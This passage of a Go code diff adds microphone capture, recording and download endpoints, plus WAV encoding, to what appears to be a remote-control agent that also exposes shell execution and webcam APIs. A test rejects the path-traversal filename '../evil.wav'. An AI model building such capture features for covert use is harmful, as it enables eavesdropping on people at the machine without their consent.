+ writeWAVHeader(hdr, int(r.written)) + if _, err := r.f.Seek(0, 0); err != nil { + _ = r.f.Close() + r.f = nil + return r.written, err + } + if _, err := r.f.Write(hdr); err != nil { + _ = r.f.Close() + r.f = nil + return r.written, err + } + err := r.f.Close() + r.f = nil + return r.written, err +} + +func (r *fileRecorder) basename() string { + return filepath.Base(r.path) +} diff --git a/lib/mic/wav.go b/lib/mic/wav.go new file mode 100644 index 0000000..ffeb664 --- /dev/null +++ b/lib/mic/wav.go @@ -0,0 +1,61 @@ +package mic + +import ( + "encoding/binary" + "errors" +) + +const ( + SampleRate = 16000 + Channels = 1 + BitsPerSample = 16 + BytesPerSample = BitsPerSample / 8 * Channels +) + +var wavHeaderSize = 44 + +// EncodeWAV wraps 16-bit mono PCM in a complete WAV file. +func EncodeWAV(pcm []byte) []byte { + if len(pcm) == 0 { + return nil + } + if len(pcm)%BytesPerSample != 0 { + pcm = pcm[:len(pcm)-len(pcm)%BytesPerSample] + } + out := make([]byte, wavHeaderSize+len(pcm)) + writeWAVHeader(out, len(pcm)) + copy(out[wavHeaderSize:], pcm) + return out +} + +func writeWAVHeader(buf []byte, dataLen int) { + if len(buf) < wavHeaderSize { + return + } + copy(buf[0:4], "RIFF") + binary.LittleEndian.PutUint32(buf[4:8], uint32(36+dataLen)) + copy(buf[8:12], "WAVE") + copy(buf[12:16], "fmt ") + binary.LittleEndian.PutUint32(buf[16:20], 16) + binary.LittleEndian.PutUint16(buf[20:22], 1) // PCM + binary.LittleEndian.PutUint16(buf[22:24], Channels) + binary.LittleEndian.PutUint32(buf[24:28], SampleRate) + byteRate := SampleRate * Channels * BytesPerSample + binary.LittleEndian.PutUint32(buf[28:32], uint32(byteRate)) + binary.LittleEndian.PutUint16(buf[32:34], uint16(Channels*BytesPerSample)) + binary.LittleEndian.PutUint16(buf[34:36], BitsPerSample) + copy(buf[36:40], "data") + binary.LittleEndian.PutUint32(buf[40:44], uint32(dataLen)) +} + +// PCMBytesFromWAV returns PCM payload length implied by a WAV header. +func PCMBytesFromWAV(hdr []byte) (int, error) { + if len(hdr) < wavHeaderSize { + return 0, errors.New("wav header too short") + } + if string(hdr[0:4]) != "RIFF" || string(hdr[8:12]) != "WAVE" { + return 0, errors.New("not a wav file") + } + dataLen := int(binary.LittleEndian.Uint32(hdr[40:44])) + return dataLen, nil +} diff --git a/lib/mic/wav_test.go b/lib/mic/wav_test.go new file mode 100644 index 0000000..340ee26 --- /dev/null +++ b/lib/mic/wav_test.go @@ -0,0 +1,44 @@ +package mic + +import ( + "testing" + "time" +) + +func TestEncodeWAVRoundTrip(t *testing.T) { + t.Parallel() + pcm := make([]byte, 3200) + for i := range pcm { + pcm[i] = byte(i % 256) + } + wav := EncodeWAV(pcm) + if len(wav) != wavHeaderSize+len(pcm) { + t.Fatalf("wav len = %d, want %d", len(wav), wavHeaderSize+len(pcm)) + } + got, err := PCMBytesFromWAV(wav) + if err != nil { + t.Fatal(err) + } + if got != len(pcm) { + t.Fatalf("pcm bytes = %d, want %d", got, len(pcm)) + } +} + +func TestRecordingFilename(t *testing.T) { + t.Parallel() + name := RecordingFilename(mustTime("2006-01-02T15:04:05")) + if name != "2006-01-02-150405.wav" { + t.Fatalf("name = %q", name) + } + if !ValidRecordingFilename(name) { + t.Fatal("expected valid filename") + } + if ValidRecordingFilename("../evil.wav") { + t.Fatal("expected invalid filename") + } +} + +func mustTime(s string) (t time.Time) { + t, _ = time.ParseInLocation("2006-01-02T15:04:05", s, time.Local) + return t +} diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index b8fafc4..0f8541b 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -219,6 +219,94 @@ func Spec() map[string]any { }), }, }, + "/api/v1/mic": map[string]any{ + "get": map[string]any{ + "summary": "List microphones", + "operationId": "listMics", + "responses": auth(map[string]any{ + "200": okJSON("Capture devices", ref("MicList")), + "503": errResp("Microphone enumeration failed"), + }), + }, + "delete": map[string]any{ + "summary": "Stop microphone capture", + "operationId": "stopMic", + "responses": auth(map[string]any{ + "204": map[string]any{"description": "Capture stopped"}, + }), + }, + }, + "/api/v1/mic/chunk": map[string]any{ + "get": map[string]any{ + "summary": "Poll ~200ms of microphone audio", + "operationId": "micChunk", + "parameters": []map[string]any{ + {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}}, + }, + "responses": auth(map[string]any{ + "200": map[string]any{ + "description": "WAV audio chunk", + "content": map[string]any{ + "audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + }, + }, + "204": map[string]any{"description": "No audio buffered yet"}, + "400": errResp("Invalid device"), + "503": errResp("Microphone capture failed"), + }), + }, + }, + "/api/v1/mic/record": map[string]any{ + "post": map[string]any{ + "summary": "Start recording microphone to AppData", + "operationId": "startMicRecord", + "parameters": []map[string]any{ + {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}}, + }, + "responses": auth(map[string]any{ + "200": okJSON("Recording started", ref("MicRecordState")), + "409": errResp("Already recording"), + "400": errResp("Invalid device"), + "503": errResp("Could not start recording"), + }), + }, + "delete": map[string]any{ + "summary": "Stop recording", + "operationId": "stopMicRecord", + "responses": auth(map[string]any{ + "200": okJSON("Recording stopped", ref("MicRecordState")), + "400": errResp("Not recording"), + }), + }, + }, + "/api/v1/mic/recordings": map[string]any{ + "get": map[string]any{ + "summary": "List saved microphone recordings", + "operationId": "listMicRecordings", + "responses": auth(map[string]any{ + "200": okJSON("Recording files", ref("MicRecordingList")), + }), + }, + }, + "/api/v1/mic/download": map[string]any{ + "get": map[string]any{ + "summary": "Download a saved recording", + "operationId": "downloadMicRecording", + "parameters": []map[string]any{ + {"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, + }, + "responses": auth(map[string]any{ + "200": map[string]any{ + "description": "WAV file", + "content": map[string]any{ + "audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + }, + }, + "400": errResp("Invalid file name"), + "404": errResp("Recording not found"), + }), + }, + }, "/api/v1/exec": map[string]any{ "post": map[string]any{ "summary": "Run a shell command", @@ -559,6 +647,43 @@ func Spec() map[string]any { "devices": map[string]any{"type": "array", "items": ref("WebcamDevice")}, }, }, + "MicDevice": map[string]any{ + "type": "object", + "properties": map[string]any{ + "index": map[string]any{"type": "integer"}, + "name": map[string]string{"type": "string"}, + }, + }, + "MicList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "devices": map[string]any{"type": "array", "items": ref("MicDevice")}, + }, + }, + "MicRecordState": map[string]any{ + "type": "object", + "properties": map[string]any{ + "file": map[string]string{"type": "string"}, + "size": map[string]any{"type": "integer", "format": "int64"}, + "recording": map[string]any{"type": "boolean"}, + }, + }, + "MicRecordingList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "directory": map[string]string{"type": "string"}, + "recording": map[string]any{"type": "boolean"}, + "files": map[string]any{"type": "array", "items": ref("MicFile")}, + }, + }, + "MicFile": map[string]any{ + "type": "object", + "properties": map[string]any{ + "name": map[string]string{"type": "string"}, + "size": map[string]any{"type": "integer", "format": "int64"}, + "modified_time": map[string]string{"type": "string", "format": "date-time"}, + }, + }, }, }, } diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go index 4689825..f7b68d2 100644 --- a/lib/openapi/spec_test.go +++ b/lib/openapi/spec_test.go @@ -11,6 +11,9 @@ func TestSpec(t *testing.T) { if !ok || len(paths) < 12 { t.Fatalf("expected at least 12 paths, got %d", len(paths)) } + if _, ok := paths["/api/v1/mic"]; !ok { + t.Fatal("missing /api/v1/mic") + } if _, ok := paths["/api/v1/watchdog"]; !ok { t.Fatal("missing /api/v1/watchdog") }